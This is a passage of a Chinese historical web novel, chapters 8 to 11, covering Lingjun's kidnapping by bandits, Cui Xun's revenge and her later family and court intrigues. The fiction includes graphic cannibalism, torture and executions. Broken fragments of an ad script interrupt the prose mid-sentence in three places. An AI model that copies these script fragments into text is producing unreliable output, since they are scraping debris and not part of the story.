“你们真是合起伙来做了一场好精彩的戏啊,阿梵姐姐要不要成慕危止的未婚妻,干你们什么事?” 崔循侧首,面色不虞,认为是慕星野这个碎嘴子出卖了他。 不等领会过来崔循误解他的慕星野辩解,一个黑色的影子滚下了车。 被崔循踹下来的慕星野没好气地朝车上囔道:“阿循,你炸毁华族粮仓意图推动我哥与沈梵更进一步并避免华族高价卖粮兼并百姓土地的事情,我从头到尾对谢二娘子守口如瓶。” 车上的小灵筠闻言深思,“哥哥,你压根就不想高价卖崔氏粮仓里的粮食,可崔氏粮仓里的粮食在饥荒来临时流入市集也不足以抑制粮价飞涨,莫非乔氏粮仓里的粮食也是你可调动的,崔乔慕沈四家已在暗中拧为一股势力?” 好不容易爬上车的慕星野听到小灵筠的话,惊道:“我去,你怎么什么都知道?”又惊慌地望向面色阴冷的崔循,“我可什么都没说啊,全是她自己猜到的。” “那我猜对了喽。”小灵筠看着这个头脑简单、四肢发达的慕星野露出同情的神色。 下一息,对慕星野甚是无语的崔循抬腿将慕星野再次踹下了车。 “哥哥该与慕小将军这等蠢货绝交的,饶哥哥再怎么周密部署谋划,慕小将军都会无意间将哥哥的心思透露给敌人听的。”小灵筠歪头坏笑。 崔循极力让自己平心静气。 “是,我再不与这个蠢货来往了。” 8. 第 8 章 与崔循呆在一辆马车内的时光清冷至极,小灵筠一直保持着优雅的坐姿,尽量避免与崔循的目光相撞。 她在静思,这个冷艳阴郁的少年在憋什么坏水。 她对他的信任,都是暂时性的,甚至可以说是转瞬即逝的。 崔循先开口打破了沉寂的气氛,“你是六月初六的生辰?” 小灵筠头上的步摇轻颤,垂眸应“是”。 “甚好,今年你在清河可以单独庆贺自己的生辰了。”崔循温柔地凝视面前的女孩儿,希望她抬首间浮出另一张熟悉又再也不能见着的笑靥儿,那笑靥儿的主人叫蛮蛮,是一个健康漂亮、笑起来粉嘟嘟的唇畔有两个酒窝的女孩儿。 蛮蛮的生辰也是六月初六,他已经有四年没有给她庆贺生辰了。 连带蛮蛮死去那一年他还未来得及送出的生辰贺礼,他已经攒了五年的生辰贺礼没有送给他顶顶心爱的女孩儿。 可待面前的女孩儿扬起下巴时,他希冀的目光黯淡下去,终究是他痴心妄想了。 “蛮蛮,你今年生辰想要什么贺礼?” 他一直唤她的都是“蛮蛮”,她未察觉有什么不妥,因为她的乳名“瞒瞒”与“蛮蛮”的咬字发音是相同的。 “我想要一张弓,最好我将弓弦绷紧射出箭去,能射落天上的太阳和月亮,再不济也要能够射落星星。”小灵筠胡说八道一通,但她想要一张弓,这一句话不假。 “我想要一张弓。” “最好我将弓弦绷紧射出箭去。” “能射落天上的太阳和月亮。” “再不济也要能够射落星星。” 稚嫩清甜的童音带着撒娇的口吻,这是崔循的噩梦中蛮蛮反反复复要叮嘱他的话,而如今从另一张粉嘟嘟的小嘴里说出,他难以抑制地红了眼眶。 四年前,他向天下最擅长制弓的工匠学习技艺,亲手为蛮蛮打造了一张精巧无比的良弓,可在他满心期盼能亲手将弓送与她时,她已被造反的叛军分食。 小灵筠觉得崔循的反应有点太过了,她只是说了些玩笑的话儿,他有必要哭唧唧吗? “我知道你诚心想准备我的生辰贺礼,莫哭莫哭,我不为难你了,不管你送我一张什么样的弓,哪怕弓弦绷不紧,哪怕羽箭射不出,我都会笑纳你的心意的。”小灵筠暗暗叹气,明明自己年纪比他小,还要哄他这个哭包,又扔了一块绣了小兔子的樱花粉手绢给崔循擦泪。 崔循看到手绢,彻底克制不住,豆大的泪珠顺着他的面颊滑落。 蛮蛮也喜欢用绣了小兔子的樱花粉手绢。 小灵筠没有觉得自己哪里失言了,自己也没有欺负他呀,他为什么要哭? 他肯定是想用眼泪博取她的同情,然后要她为他办事,肯定是这样的。 小灵筠又偷偷瞧崔循的哭相,用“美人落泪”“梨花带雨”来形容此时的他都不为过。 为什么自己哭起来一把鼻涕一把泪,崔循这厮哭得这般我见犹怜? 小灵筠摸了摸自己的脸蛋,她要是有崔循这副鲜妍美好的皮囊,恐怕青天白日下当街拉屎撒尿都有一群女郎夸赞她好颜色的。 小灵筠收回了游离在外的思绪,将自己带到沈氏庄园与沈韶分享得只剩下一颗的八宝琉璃糖忍痛割舍给崔循。 崔循耸动肩膀,抽泣得越加厉害。 这是蛮蛮最喜欢吃的八宝琉璃糖,就算她再喜欢,他难过时,她也会将糖大方地塞进他嘴里,然后说:“哥哥,吃糖,嘴甜了,心就不苦了。” 小灵筠的忍耐力已经全部耗尽,她见软的不行,那就来硬的。 “啪——” 崔循右脸上多了一个小小发红的巴掌印。 小灵筠朝自己的掌心吹气,打他太用力,自己的手疼。 崔循一怔,从沉痛的幻想中清醒过来,撇过头去不再理会盯住他的女孩儿。 小灵筠:“……” 崔循这厮就是欠抽,一抽他就不矫情了,这招好使,下次再用。 * 车队停在了陡水湖旁稍作歇息,护卫们牵着马匹去吃草喝水。 小灵筠想方便了,兰姑、阿橘带着她到偏远一点的树林里出恭。 小灵筠刚蹲下去,就看见一个竹筒不知从哪儿飞到她面前。 竹筒两端冒出白色的烟雾。 这烟雾挺香挺上头的。 她两眼一黑。随她一起昏迷过去的,还有兰姑、阿橘。 * 小灵筠是在一间阴暗潮湿的牢室里醒来的,牢室朝外的木栅栏的另一边,四个马匪坐在一张方桌旁吃酒喝肉。 小灵筠坐在又脏又臭的茅草上,咳嗽了几声,提醒那边的马匪她醒了。 一个左眼戴着黑色眼罩的马匪走到木栅栏前,“女娃子肚子饿不饿,要不要吃点我们剩下的肉?” 小灵筠转动黑白分明的眼珠子,瞅见马匪们吃的肉不像鸡鸭牛羊猪的肉。 “什么肉?” “人肉。” 另一个瘸了一条腿的马匪露出森森白牙笑道:“女娃子吃不吃啊?这肉香得很嘞。” 小灵筠直犯恶心,摇头道:“我不吃,我也不饿。我只想问各位叔叔伯伯,为什么把我抓到这里来?” “还是个蛮知礼数的女娃子,你放心,我们大哥吩咐了,不会伤你一根汗毛,我们要的是崔相的脑袋。”瘸腿马匪扔了一个馒头给小灵筠吃。 小灵筠捡起馒头握在手上,打算等饿了再吃。 不饿,她压根不想吃这噎人的馒头。 马匪们又坐回到方桌旁吃酒喝肉。 一个马匪夹起一片薄如蝉翼的生肉蘸酱油丢进嘴里,边嚼边道:“这老婆子的肉嚼不动,我吃的最鲜嫩的肉,还是四年前在翠盖山山脚下茶道抓到的那个女娃子的肉。老子可以到处吹嘘,权倾朝野的崔相算个屁啊,老子上过他亲娘,还吃过他亲妹妹的肉,喝过他亲妹妹的血,吞过他亲妹妹的骨头渣呢。” 马匪们举酒碰碗,各自吹着牛皮,说说笑笑,大吵大闹。 小灵筠心里头发怵,用左手扼住发抖的右手腕,逼自己镇静下来。 马匪们的目标是崔循,不是她。 而且马 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 匪们的首领还不让这些小啰啰伤害她。 她是诱饵,那崔循如果上钩的话,她这诱饵会不会命丧黄泉? * 通天寨,木楼二楼。 面白无须的老人手扶栏杆,仰望夜空一轮皎皎明月。 “我家主子的意思是将当年那笔旧账算在神武长公主头上。你们没有本事擒住崔相的,还是费点心思把戏演得以假乱真。你死后,我家主子保你家人一生荣华富贵。” 寨主胡一刀打心眼里瞧不上面前这个阉人,但自己的家人落在宫里的贵人手上,他被逼得没有法子来触崔循的霉头。 “李公公说什么,就是什么。小人为贵人主子赴汤蹈火,在所不辞。” “得了,我也要回帝都去了。你们当好这件差事,切记不要伤了谢二娘子。”李公公走下楼去。 胡一刀召集通天寨的所有马匪部署安排与崔循接下来的一场恶战。 * 夜半三更,牢室里的小灵筠听到外面喊打喊杀的声音,她抱膝靠着墙壁,啃了一口手里难以下咽的馒头。 她一点也不怯,看守他的几个马匪跑出去前,透露了崔循带兵围攻通天寨的消息。 通天寨这些马匪相比崔循带领的这一支白袍军,处在下风地位。 她坚信崔循不会输,一定能将她从牢室中救出去,只是时间早晚的问题。 小灵筠耐心听着外面的打斗声,打了一个盹儿,是慕星野的声音将她从稀碎的梦里唤醒。 “谢二娘子,你有没有伤到哪里?”慕星野的铠甲上沾满了鲜血,他不敢太靠近小灵筠,怕身上的血腥味道冲她的鼻子。 小灵筠睁目,摇了摇头。 “不曾伤到。我哥哥呢,他好不好?” 慕星野松了一口气,笑道:“是我带领白袍军以身犯险浴血杀敌,你哥哥待我收拾干净了这通天寨的马匪才进寨门的,他自然好得很。” 也不算太好,当慕星野查明通天寨这些马匪竟然是四年前黄霸天造反留下的叛军余孽时,崔循恨得双目充血。 慕星野深知崔循这四年来一直有一块心病,那就是弄清楚当年他母亲和妹妹的惨死真相到底如何。 * 通天寨大门口,崔循端坐于太师椅上,兵士押着胡一刀跪在他身前三尺之距。 “你知道我是谁么?”崔循面若冰霜。 胡一刀大咧咧道:“知道,崔氏家主,少年宰相,老子我年轻时比你还狂。按我与你母亲的交情,你得喊老子一声‘爹爹’,毕竟老子与你母亲‘一日夫妻百日恩’,你母亲当年在老子身下叫得可好听了。” 崔循朝兵士抛了个凌厉的眼色。 兵士用铁钩子钩出胡一刀一条肋骨来,血淋淋的。 “你不就是想知道当年你母亲是怎么落到我们手上的吗?”胡一刀痛得面目狰狞,“是神武长公主的鸣鸾卫将我们引至茶道,那支鸣鸾卫突然不见了行踪,而我们正好撞见了有崔氏徽记的车队。得知那支白袍军护送的崔氏车队里有崔翙的侧夫人和女儿,我们打算用那对母女来与朝廷讨价还价。” 9. 第 9 章 “你胡说,我母亲才不会用鸣鸾卫干这等下流无耻之事,你肆意攀污我母亲,是何居心?”小灵筠来此旁听了一会子,虽不了解当年事,但觉得胡一刀所言是在刻意引崔循仇恨她母亲。 胡一刀扯着嗓子喊道:“老子若有半句虚言,愿被五马分尸,不得好死……” 没等胡一刀说完,崔循已示意士兵用布条堵住胡一刀的嘴。 “那就五马分尸好了。”崔循向士兵一抬手,胡一刀就被拉下去了。 崔循望向小灵筠,从头到脚将她打量了一遍。 “可有伤着?” 小灵筠摇头。 “可有吓着?”崔循又问。 小灵筠摇头。 服侍小灵筠多年的兰姑、阿橘惨死于马匪之手,他很是担忧小灵筠的安危,现看她平平安安的,心上紧绷的弦骤然松弛,但不知如何与她说兰姑、阿橘的死。 “这些马匪虐杀了兰姑与阿橘,我要亲手为她们报仇,请哥哥应允。”小灵筠眼含热泪对上崔循隐藏伤怀的目光。 崔循看向慕星野,慕星野心虚地将头撇到一边。 “你急着告诉她这些干什么?”崔循后悔了,就不该让慕星野去救小灵筠,这种事情还是得他自己来。 “谢二娘子一直问兰姑阿橘在哪里,她还威胁我,要是我不告诉她的话,她就和你说我轻薄了她。”慕星野气得发燥,抓了抓自己的头发,“你们天生该成兄妹的,都一样是千年的狐狸,把我往死里逼。” 慕星野去折磨胡一刀发泄自己心里的气。 崔循问过小灵筠要怎么为阿橘、兰姑报仇,听到她说要命兵士活蒸了那些马匪的时候,担心她这样做折损她的福报,还是自己下了命令让兵士活蒸那些马匪,损在他手上的人命也不多这几条。 料理完通天寨的事,崔循带着小灵筠登上了回清河的马车。 马车上,小灵筠忍不住问道:“哥哥,你信那个胡一刀的话么?” “我自会命人去查证。但是蛮蛮,你要记住一点,我不会因为旁人而迁怒、怨怼你。”崔循眼角湿润,“我不妨坦坦荡荡与你讲,我死去的妹妹小崔妩,她的乳名叫‘蛮蛮’,菩萨蛮的‘蛮’。她亦同你一样是六月初六的生辰,但她比你漂亮多了。我待你的几分真情实意,是因我在你身上看到了蛮蛮的影子。我也曾为我妹妹早早备下十里红妆,预备等她长大,将她嫁给天下顶顶好的郎婿。可是,她还未过五岁生辰就死了,我找不到她的骨与肉,只能立一个衣冠冢祭她。” 崔循后面的声音都是颤颤的。 小灵筠第一次看到他此等伤心失意模样。 想来他也才十五岁,至亲的母亲和妹妹惨死于四年前,父亲又将崔氏一门荣辱系于他一人身上。 小灵筠听她母亲说,崔循很可怜的,他开始说话时就要学读书认字,能够走路后就要学握剑拉弓,他没有玩耍的时间,十五年来崔氏族老们都是按照成为崔氏家主的要求来磨练他的心智。 是以外人看来他冷情冷性,甚至于心狠手辣。 唯独她看到了他一身刺下的柔软与脆弱。 “你要是将我当作你死去的妹妹才对我好,那我宁愿你不要对我好。谢灵筠就是谢灵筠,不是小崔妩。”放在平日里,小灵筠听到崔循方才那段话,撕破他的脸皮、挖出他的眼珠子都不解气,但知晓了前因后果,她干脆浅浅原谅他一次,“不准你再唤我的乳名‘瞒瞒’,我在家中姊妹里行二,你唤我谢小二也不算羞辱我的。” 崔循应承了这个傲气的小女孩。 “我很是不懂,男儿家生来便是建功立业的,女儿家生来便是相夫教子的吗?”小灵筠对崔循为她死去的妹妹早早备下十里红妆这一件事一点也不感动,反而极其厌恶,“我长大了就要让乾坤颠倒。男子可以为官做宰,那女子便也可以。女子可以打理后宅,那男子便也可以。让女子尝尝当男子的甜,让男子吃吃做女子的苦,大家将心比心,不要迂腐地搞那一套‘男尊女卑’才好。” 如此大逆不道的言论,崔循听来只觉新鲜,不过在他眼中,世间人不分男女、不分贵贱,只分为两种人,能为他所用的和他弃若敝履的,而小灵筠自然是前者。 “你长大了若能遂了你这心愿,我倒乐于见那样不同的天下。”崔循道。 小灵筠眉眼弯弯,与崔循相处下来,觉得他这人没有她想象中那般阴鸷酷烈。 * 回到神武长公主府,小灵筠少不了去昭明堂听她母亲的训诫,却有一通板子等着她。 原来是她在沈氏庄园借马蜂蛰咬沈娇及其他贵女出气的事情败露了。 向她母亲告状的人,是沈娇的母亲姜文姬。 那日沈娇的贴身婢女恰好瞧见了小灵筠用弹弓射出石头击落月牙石桥下的马蜂窝,而后禀告了她家主母,姜文姬差人特意来告小灵筠的状。 周娥媖:“瞒瞒,你还有什么辩解的话要说与母亲听的吗?” “女儿讨厌她们,敢做自然敢当。日后她们还要再惹女儿的不痛快的话,女儿照样教训她们。”小灵筠虽跪在周娥媖身前,端的是大义凛然的模样,不像是一个正在认错认罚的人。 周娥媖早命人查清楚了沈娇及那些沈氏贵女与女儿的恩怨,那伙小娘子惯会欺软怕硬,尤其是那沈娇,她又与谢神爱交好,自是常帮着谢神爱来玷污女儿的名声。 但一码事归一码事。 周娥媖只觉得女儿用这样的阴私手段来出心中一口恶气未免太小家子气了。 与人争强斗狠不是这样子争的。 “马蜂那事,错不全在你。你一遇到讨厌的人便耍些小聪明去戏耍人家,本来是你有理的,也变得你不占理了,行事未免太不光明磊落了。”周娥媖命两名武婢抬了一张春凳到院子里,又命她们将小灵筠捆在春凳上挨板子。 整整二十大板,打得小灵筠臀上皮开肉绽。 “不能白挨打,你得记着,下次遇见了你不想放在眼里的人,不管你还是母亲能不能得罪得起的,你光明正大地与人家动手动脚。这 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 样的事儿捅到母亲面前来,只要你占了理,母亲只会夸赞你打得好、打得妙,记住了吗?”周娥媖站在廊檐下叮嘱女儿。 小灵筠竭力吐出“记住了”三个字,由着武婢们连春凳带着她抬回悬刃堂休养。 她面朝下,以匍匐的姿态,趴在床上。 养伤归养伤,母亲布置的课业除了需要她起身动作才能干的可以不做以外,其余一样都不能落下。 描红,一日十五页。 背书,一日三篇文章十首诗。 心算,一日三百道题。 …… 臀上的伤口裂开流了十来次血,小灵筠才断断续续完成了一日的课业。 她长吁一口气,抱着软枕终于换了一个姿势,侧躺在床上。 摘星、指月来帮她擦洗身体、换下她身上有汗的寝衣。 摘星:“奴婢刚听昭明堂的人说,循公子也挨了长公主殿下一顿打呢。” “母亲为什么打他?”小灵筠问道。 指月:“循公子一连罢了好几个晋阳沈氏出身的官员,长公主殿下骂循公子以公谋私。那几个丢了官的沈家人恰好是女公子您讨厌的沈氏贵女们的父兄,哪有这么巧的事情,定是循公子变着法替女公子您出气呢。” “他替我出什么气,他罢沈家人的官,不能因为那些沈家人与他政见不合吗?不能因为那些沈家人在朝堂上得罪过他吗?”小灵筠将头埋进软枕的凹处,不让自己笑出声来。 摘星、指月见小灵筠肩膀一耸一耸的,以为她痛得哭,实际她暗爽发笑,又不想让婢女们瞧见后去禀告她母亲,否则她母亲定认为她闭门思过没有用心。 小灵筠好不容易收敛起笑脸,露出一张悲伤不能自抑的小脸对着摘星、指月,问道:“哥哥也是被臀杖吗?” “不,是长公主殿下亲自用荆条抽打循公子的背部,那荆条听说刺头又大又锐利,循公子背部被打得没有一块好肉。”摘星回道。 小灵筠明白她母亲这种打法的用意,这样用荆条抽打,不耽误崔循回白玉京处理政事,也不会让外人知道他挨了打。 “哥哥明日什么时辰动身回白玉京?”小灵筠想试着起身下床,才略微一动便牵扯到臀部的伤口,通杀她也,不动了,打死也不乱动了。 “循公子鸡鸣时分便要动身。”指月道。 小灵筠让婢女把刚收拾好的笔墨纸砚重新摆到床上的小矮几上,她索性不睡了,睁着眼睛熬到第二日鸡鸣时分前半个时辰。 一名婢女背着她到清河主城的城楼上,她用长笛吹奏了一曲新学的《春风得意马蹄疾》。 城楼下穿过洞门的一行车队最前方,慕星野骑马贴近崔循所乘的马车,他听到轻快但节拍较乱的笛声,笑道:“我知道你们清河的风俗,家中兄长远行,妹妹会以笛声相送。不知道这城楼上是哪一家的小妹妹吹笛送她的兄长?” 车内的崔循一怔,“这么好的曲子,吹得这么难听。”他握着手上的绣了小兔子的樱花粉手绢,弯起了唇角。 10. 第 10 章 小灵筠住在清河的半年一晃而过。 崔循在这期间一次都未回来过,但他遣人送至周娥媖、崔翙的家书中开头都要问一句“吾妹灵筠妆安”,便是这一句话,害得小灵筠为做足礼数必得写一封家书敷衍回他。 小灵筠将自己每日的吃喝拉撒都写进了家书中告知崔循,他亦在一封封家书中看到了她练字的长进,故打发人送了许多名家字帖给她临摹。 周娥媖对这“兄友妹恭”的场面深感欣慰,布置给小灵筠的描红课业也一跃而升为“每日临摹字帖二十张”。 小灵筠将自己课业加重的这笔账算在崔循头上,感谢他送的“破字帖”,来日必有“大礼”回赠。 景元十三年十月二十日,江陵谢氏派了家中有体面的婆子来接小灵筠回去。 临行前,周娥媖嘱咐女儿回谢家后必不可显露锋芒、扮蠢守拙为好,又让丫鬟给养得灵秀可爱的女儿脸上点了一片麻子,小灵筠好不容易养出的花容月貌顷刻间变得丑陋不堪。 “你若不想你的婚事妨碍了你的前程,就得韬光养晦。”周娥媖开解满心疑惑的女儿。 她自己年少时才貌双全,又得先帝先皇后喜爱,没受过什么挫折,不知人心险恶。及至先帝驾崩后却因此吃了大亏,她遭了如今靖帝的算计,在先帝丧期失身于谢琰,怀孕后不得不出降为谢家妇。先帝留下的那道册立在室皇长女也就是她为新帝的圣旨成了一道废旨。天家规矩与民间风俗一般无二,出嫁的女儿便如同泼出去的水,与娘家再无瓜葛。她因怀上长子谢敏怀不得不嫁于谢琰而与皇位无缘。她只要一看见长子就会想起当年事,自然厌恶长子透顶。 女儿不一样,她从小灵筠身上看到了年少的自己,好好养女儿,便是好好将年少的自己养一遍,她自己未曾做到的事情,将来女儿未必不能做到,故她对小灵筠寄予厚望。 “吃得苦中苦,方为人上人。” “母亲知道你累,但如今受的累,也是为了你将来能够出息,且再累一累吧。” “瞒瞒,母亲都是为了你好。” …… 诸如此类的话语,小灵筠都快听得耳朵里起茧子了,她只觉得自己身上压了一座又一座大山,压得她喘不过气来,孩童的欢乐对她而言已成一种奢侈的东西,她要出色一点、再出色一点、再再出色一点……要配得上母亲对她的期许,才可心安理得的享受母亲对她的偏爱。 也是这份偏爱,使得她遭兄长谢敏怀的嫉恨。 回江陵谢家更让她喘不过气来。 父亲谢琰看重家族名望,眼里只有将来继承谢氏家业的兄长谢敏怀,而长姐谢神爱在父亲心中是排在第二位的,毕竟谢神爱是父亲与他年少钟情的恋人贾心慈所生育的掌珠,自己太像母亲了,父亲并不喜欢自己像母亲。 小灵筠垂头丧气、面如死灰地坐上了马车,归江陵谢氏庄园。 她希望接下来在江陵的半年不会太难熬。 * 墨香斋位于谢氏庄园内宅的东北角,进门两边是“口”字形抄手游廊,院中一池一亭,池塘挖在西边,八角亭修在东边,院北面一排五间不大不小的屋舍,居中一间为待客厅,左一浴室左二卧室,右一茶室右二琴室。从待客厅后门穿过就是后院,后院只一片茂密的竹林加一架缠了花藤的秋千。 比起小灵筠在神武长公主府住的悬刃堂,墨香斋小了三倍不止,且案几床椅及一应陈列摆设都寒酸了不少。 兰姑、阿橘死在了通天寨,小灵筠这次带回谢氏庄园的仆婢都是她母亲给她精心挑选的,主事的婆子及管理婢女们的一等婢女皆合小灵筠的心意。 摘星、指月指挥五六个婢女整理小灵筠从清河带回来的行李。 按照谢家的规矩,不论嫡女庶女,院中俱是一个一等婢女,三个二等婢女,六个三等婢女及十二个做琐碎事的小婢女,另有婆子若干。 小灵筠以往在谢家住时是贾心慈管理内宅,墨香斋的奴婢们缺了一大半,因贾心慈怕小灵筠这个嫡女抢了她亲生女儿的风头。 这次回来,墨香斋的奴婢们倒是配齐全了,但谢神爱住的青萝居用的奴婢却比小灵筠要多一倍之数。 摘星奉牛乳茶给琴室操琴的小灵筠,不免愤愤道:“婢子去如今管理内宅的梅姑房里领糊窗用的密云纱,梅姑说密云纱都给大娘子的青萝居用了,轮到咱们,就剩次一等的晴影纱了。在神武长公主府,那晴影纱都是给婢子们住的院子糊窗用的,梅姑打量女公子你好欺负,什么破烂玩意儿都敢给您用。” “梅姑是奶大长姐的婆子,贾心慈因与她表弟苟合而被爹爹怒而沉塘,爹爹心疼长姐成了没娘的孩子,将梅姑放到内宅管事这个位置上,就是怕长姐被家中上下轻视而受委屈。”小灵筠从琴案后起身,走到窗边凝视已半新不旧的窗纱,“梅姑要将密云纱都留给长姐用,可不只得罪了我,爹爹的几位侧夫人还有二房三房的叔母堂嫂们恐怕连晴影纱都轮不上吧。” “女公子猜的没错,几位侧夫人和二房三房的夫人、少夫人用的都是比晴影纱次一等的鸳鸯纱糊窗,可她们有怨不敢言。”摘星是搜罗情报的一把好手。 “二房三房势弱,但几位叔母堂嫂都是再良善不过的人,我在贾心慈手底下过日子的那几年,爹爹的几位侧夫人还有叔母堂嫂们都对我有过照拂。”小灵筠取下自己腰间的金钥匙扔给摘星,“取一箱金锭去外面买万花千蕊纱送与家中长辈们糊窗,请她们千万收下我这一片心意。” 一匹万花千蕊纱的价格可以买十二匹密云纱,华族女眷鲜少用万花千蕊纱糊窗的,太过奢侈了。 * 摘星办事动作极快,不过两个时辰,就差人将万花千蕊纱买回来送到内宅诸女眷院中。 回到墨香斋时,还带回满满一箱子女眷们给小灵筠的礼物。 摘星:“婢子特意绕路从青萝居过来,正好遇上了梅姑,梅姑见到婢子,气得嘴巴都歪了,说了许多酸话。” 摘星鹦鹉学舌说给坐在亭中的小灵筠听,小灵筠要杀的正是梅姑的威风。 不出小灵筠所料,很快谢敏怀就来兴师问罪了。 谢敏怀一踏进院门,瞧见小灵筠脸上有如满天星的麻子,暗道一声“丑人多作怪”。 “瞒瞒,你命你的婢子给几位庶母、叔母、堂嫂送名贵的万花千蕊纱糊窗,独独漏下神爱那一份,你是几个意思?” 小灵筠淡淡笑道:“长辈们用万花千蕊纱糊窗,长姐的青萝居用密云纱糊窗,我这里用晴影纱糊窗,长幼尊卑有序,分得很清楚呀。” 谢敏怀环顾四周,墨香斋的屋舍果然用的是晴影纱糊窗,他无话可说,但想到谢神爱泛红含泪的双眸,于是冷声道:“你这里还有多的万花千蕊纱吗?” 小灵筠似笑非笑看向摘星。 摘星:“回公子的话,婢子买光了江陵市面上所有的万花千蕊纱,全分给内宅女眷了,我们女公子喜好俭朴之风,墨香斋库房里一匹万花千蕊纱都没留。” 谢敏怀变了脸色,剑眉高耸,语气很是不善。 “瞒瞒,为兄没想到你才去清河住了半年,回家便成了为一点小事与神爱斤斤计较的鬼样子。神爱她不比你,你有母亲的疼爱,她却没有。你可以挥金如土,但你不能去揭神爱的伤疤。” “我怎么与长姐斤斤计较了?她住的青萝居,是母亲弃绝爹爹前专门为我布置了一年之久的居所,你与爹爹要我让给她,我让了。她母亲贾氏未出那等丑事前,我被哥哥你放在贾氏手下教养,贾氏不让我读书不说,还背地里常常责骂我,哥哥对此视而不见,一心只觉得长姐是全天下最可怜的小娘子。我将哥哥和爹爹的疼爱让给了她,将我作为谢氏嫡女的风光体面让给了她,哥哥你却还嫌我不够忍让。我干脆认死去的贾氏为母,让长姐做神武长公主的女儿好了。”小灵筠说得满面涨红。 谢敏怀一巴掌呼到小灵筠脸颊上,怒不可遏吼道:“你以为我不想神爱才是我一母同胞的妹妹吗?凭什么、凭什么母亲生了你这么一个丑八怪还当成宝?你喊我哥哥,是在羞辱我!” 坐在廊檐下绣花的指月跑过来,与摘 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 星一起,将半边面颊又红又肿的小灵筠护在身后。 指月怕摘星出口成脏,抢言道:“公子再怎么生气,也不该不分青红皂白对我们女公子动手,公子方才几句话要是传到长公主殿下耳中,长公主殿下赐死大娘子都是轻的了。” 指月三言两语将话说到点子上。 谢敏怀细想了想,才后怕起来,说话的声音都软和下来。 “瞒瞒,是我意气用事,你千万不要去向母亲告状。神爱她没有人可以依靠了,她只剩我和爹爹了,你再让让她,好不好?江陵郡主,对,你让她当江陵郡主,母亲会为你向陛下请封更好的封号的。” 小灵筠的眼里黯淡无光,冷哼了一声。 “历代江陵郡主都是谢氏嫡长女,你要我让她,也要看她受不受得起?” “只要你去坤仪殿求姑母,姑母肯定会松口答应你的。你让神爱当江陵郡主,我今年除夕就随你去清河与母亲一起过。”谢敏怀想到了这件小灵筠每年都要哭求他的事。 小灵筠思虑再三,终是应下了谢敏怀的请求。 * 次日清晨,她乘车上白玉京进宫向谢皇后问安。 谢皇后一身燕居的常服,坐在正殿门槛内看宫院里的三个小公主追逐打闹。 崔贵妃、萧贵嫔、乔贵姬三位公主生母陪坐在谢皇后身旁的绣墩子上。 靖帝后宫充盈,膝下有八位皇子、十五位公主。谢皇后所出的太子周澈居长。 崔贵妃、萧贵嫔、乔贵姬是品阶仅次于的谢皇后的“三夫人”,崔贵妃有三子一女,萧贵嫔、乔贵姬则是一子一女,这让只生养了太子一个的谢皇后惶惶不可终日。 崔贵妃眼尖,先看见了迈进宫院正门的那抹白色身影,他是崔循的姑姑,听自家兄长崔翙说这位谢二娘子与侄儿相处得甚好,实在想不通这么丑的小娘子怎么就入了灿若朝光、静如温风的美少年侄儿的眼。 萧贵嫔继承了萧家人的护短,哪怕小灵筠身上流淌的萧氏血脉不多。 她听到崔贵妃嘀咕了一句“样貌要和出身一样好就好了”,立马开口顶道:“贵妃姐姐难道想要给自己的三皇子、四皇子、五皇子择妇吗?江陵谢氏的嫡女历来都是我大靖国母,太子再有风度,也不会委屈了自己的小表妹。皇后娘娘您说是不是呀?” 谢皇后目光平和,一直含笑注视着向自己走来的小灵筠。 “贵妃只喜欢样貌出挑的小娘子,本宫是再满意不过母家这位侄女了。本宫母家还有一位以美貌闻名江南江北的侄女,赶明儿宣进宫给贵妃相看相看,许给贵妃所出的哪位皇子合适。” 崔贵妃摇首,“谢大娘子美则美矣,但她生母与人私通,这上梁不正下梁歪,臣妾不敢相信谢大娘子的德行。” 小灵筠已近前向谢皇后、崔贵妃、萧贵嫔、乔贵姬行礼问安。 谢皇后赞许地朝小灵筠点点头,“长高了不少,可见还是由你母亲养着你最好。” 小灵筠答了谢皇后几个问题,随后崔贵妃问她清河如今的风貌,接着萧贵嫔问她关于她母亲的近况,只有乔贵姬笑笑不语、静静听着她们与女孩儿说笑。 小灵筠说得口干舌燥,喝了两盏牛乳茶后,才扯到了正题。 “姑母,瞒瞒想为长姐请封‘江陵郡主’,请姑母向陛下进言。” 谢皇后一时间怔住了。 崔贵妃笑道:“傻孩子,怎么干起‘为他人作嫁衣裳’这样的事来?” 这小娘子不光丑,还笨。下次见到阿循一定要问问,这小娘子哪一点合他眼缘了? 萧贵嫔也不解,“你母亲颖悟绝伦,怎么养出个你这样的老实孩子?” 萧贵嫔还是给周娥媖留了些颜面的,没有直接说小灵筠蠢钝如猪。 久未启唇的乔贵姬终于开口了。 “谢二娘子看重姐妹亲情,使臣妾动容不已。皇后娘娘,您就答应谢二娘子吧。” 她想尽快结束这一切,然后请小灵筠到自己宫里坐一坐,恰好今日侄儿要同二皇子一起来向她请安。 11. 第 11 章 小灵筠以往进宫,甚少见到除谢皇后之外的其他妃嫔。 乔贵姬出言帮她劝说谢皇后,倒教她拿不准乔贵姬是单纯好心还是别有用心。 谢皇后望向小灵筠,平声道:“瞒瞒,是你想为你长姐请封‘江陵郡主’,还是你父兄存了这样对你不公的心思,又借你的口来告诉我?” “姑母,瞒瞒不想因此等小事损伤了骨肉亲情。”小灵筠已斟酌过利弊。 崔贵妃举袖掩唇笑道:“娘娘,臣妾还当谢二娘子是个蠢的,不想是个孝女啊。” 崔贵妃倾身向前,轻扯小灵筠的衣袖。 “好可怜的孩子,你父兄长姐是一家子,你倒成了一个外人了。要本宫说啊,这个‘江陵郡主’轮不到你长姐来当,你这小娘子老实,相貌又平平无奇,再没了这些爵禄,长大可不好许人家。” 小灵筠:“……” 萧贵嫔白了崔贵妃一眼,“谢二娘子有神武长公主那样的母亲,华族贵女中恐怕找不到第二个比谢二娘子出身还高贵的小娘子了,贵妃姐姐还不如操心操心自己女儿的婚事。” 崔贵妃撇撇嘴,在谢皇后面前不好与萧贵嫔吵嘴,回了一记白眼给萧贵嫔。 